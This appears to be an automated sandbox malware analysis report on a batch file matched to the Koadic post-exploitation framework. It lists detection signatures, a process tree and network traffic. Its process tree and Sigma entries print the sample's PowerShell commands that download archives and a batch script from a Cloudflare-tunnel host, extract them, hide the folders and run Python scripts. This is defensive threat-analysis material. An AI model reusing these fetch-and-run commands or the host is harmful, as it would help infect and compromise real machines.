Edit tour

Windows Analysis Report
J1IrCccVO6.bat

Overview

General Information

Sample name:	J1IrCccVO6.bat renamed because original name is a hash value
Original sample name:	0fccf3d1fb38fa337baf707056f97ef011def859901bb922a4d0a1f25745e64f.bat
Analysis ID:	1542799
MD5:	2a6aaf30c4f4fb95035d448aea4b452e
SHA1:	c4705f2f325c3c0665ce479b79621ba03d9d4382
SHA256:	0fccf3d1fb38fa337baf707056f97ef011def859901bb922a4d0a1f25745e64f
Tags:	batCloudflareTunnelsRATuser-JAMESWT_MHT
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Loading BitLocker PowerShell Module

Maps a DLL or memory area into another process

Suspicious powershell command line found

Uses cmd line tools excessively to alter registry or file data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected non-DNS traffic on DNS port

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cloudflared Tunnels Related DNS Requests

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 1184 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\J1IrCccVO6.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 2308 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ride-fatal-italic-information.trycloudflare.com/kbsfaw.pdf MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7312 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1996,i,12952766583181054471,15823528820358115948,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

timeout.exe (PID: 3152 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 764 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8056 cmdline: powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }" MD5: 04029E121A0CFA5991749937DD22A1D9)

timeout.exe (PID: 8168 cmdline: timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

attrib.exe (PID: 1148 cmdline: attrib +h "C:\Users\user\Downloads\Python" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

AppInstallerPythonRedirector.exe (PID: 1740 cmdline: python.exe money.py MD5: 5E1055E69FF01930C62388625726A90E)

AppInstallerPythonRedirector.exe (PID: 7896 cmdline: python.exe moment.py MD5: 5E1055E69FF01930C62388625726A90E)

AppInstallerPythonRedirector.exe (PID: 2536 cmdline: python.exe update.py MD5: 5E1055E69FF01930C62388625726A90E)

AppInstallerPythonRedirector.exe (PID: 8068 cmdline: python.exe upload.py MD5: 5E1055E69FF01930C62388625726A90E)

AppInstallerPythonRedirector.exe (PID: 7552 cmdline: python.exe time.py MD5: 5E1055E69FF01930C62388625726A90E)

AppInstallerPythonRedirector.exe (PID: 8032 cmdline: python.exe kam.py MD5: 5E1055E69FF01930C62388625726A90E)

AppInstallerPythonRedirector.exe (PID: 7964 cmdline: python.exe momentomo.py MD5: 5E1055E69FF01930C62388625726A90E)

chrome.exe (PID: 3244 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ride-fatal-italic-information.trycloudflare.com/kbsfaw.pdf MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1996,i,2645576372623155973,14039107188322789898,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

timeout.exe (PID: 5824 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 8080 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8608 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8796 cmdline: powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\FTSP.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }" MD5: 04029E121A0CFA5991749937DD22A1D9)

attrib.exe (PID: 8920 cmdline: attrib +h "C:\Users\user\Downloads\Print" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

svchost.exe (PID: 7228 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
J1IrCccVO6.bat	MALWARE_BAT_KoadicBAT	Koadic post-exploitation framework BAT payload	ditekSHen	0x2:$s1: &@cls&@set 0x5b:$s2: :~5,1%% 0x6f:$s2: :~11,1%% 0x7b:$s2: :~59,1%% 0x87:$s2: :~51,1%% 0x93:$s2: :~48,1%% 0x9f:$s2: :~21,1%% 0xb4:$s2: :~48,1%% 0xc0:$s2: :~4,1%% 0xcb:$s2: :~4,1% 0xd8:$s2: :~15,1%% 0xe4:$s2: :~11,1%% 0xf0:$s2: :~58,1%% 0xfc:$s2: :~60,1%% 0x108:$s2: :~48,1%% 0x114:$s2: :~59,1%% 0x120:$s2: :~35,1%% 0x12c:$s2: :~60,1% 0x13c:$s2: :~11,1%% 0x148:$s2: :~59,1%% 0x154:$s2: :~51,1%%

Sigma Signatures

System Summary

Sigma detected: Cloudflared Tunnels Related DNS Requests

Source: DNS query

Author: Nasreddine Bencherchali (Nextron Systems): Data: Image: C:\Program Files\Google\Chrome\Application\chrome.exe, QueryName: ride-fatal-italic-information.trycloudflare.com

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\J1IrCccVO6.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1184, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 764, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\J1IrCccVO6.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1184, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 764, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\J1IrCccVO6.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1184, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 764, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7228, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: J1IrCccVO6.bat

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.5% probability

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.51:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.51:443 -> 192.168.2.4:49979 version: TLS 1.2

Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb.cat source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tomation.pdb source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1798653871.000001E65BAD2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1951988919.000002299DC00000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbll source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000004.00000002.1797576952.000001E65B7E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb{)r source: powershell.exe, 00000018.00000002.2071539198.000002D62B7F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000018.00000002.2068297007.000002D62B5ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdbe0899S source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000018.00000002.2068297007.000002D62B5BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb+ source: powershell.exe, 00000018.00000002.2068297007.000002D62B61D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: k.pdb source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000018.00000002.1968442214.000002D611530000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000004.00000002.1798653871.000001E65BAD2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb^y.[1 source: powershell.exe, 00000004.00000002.1798653871.000001E65BAD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 6?lib.pdbpdblib.pdb source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdby.pdb source: powershell.exe, 00000004.00000002.1798653871.000001E65BAD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbvice@ source: powershell.exe, 00000018.00000002.2068297007.000002D62B5BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: s.Utility.pdb source: powershell.exe, 00000004.00000002.1798653871.000001E65BAD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *on.pdb2 source: powershell.exe, 00000018.00000002.2068297007.000002D62B5ED000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic

TCP traffic: 192.168.2.4:49745 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.51

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HW4WLODTnh1l55l&MD=hwC3OdL7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
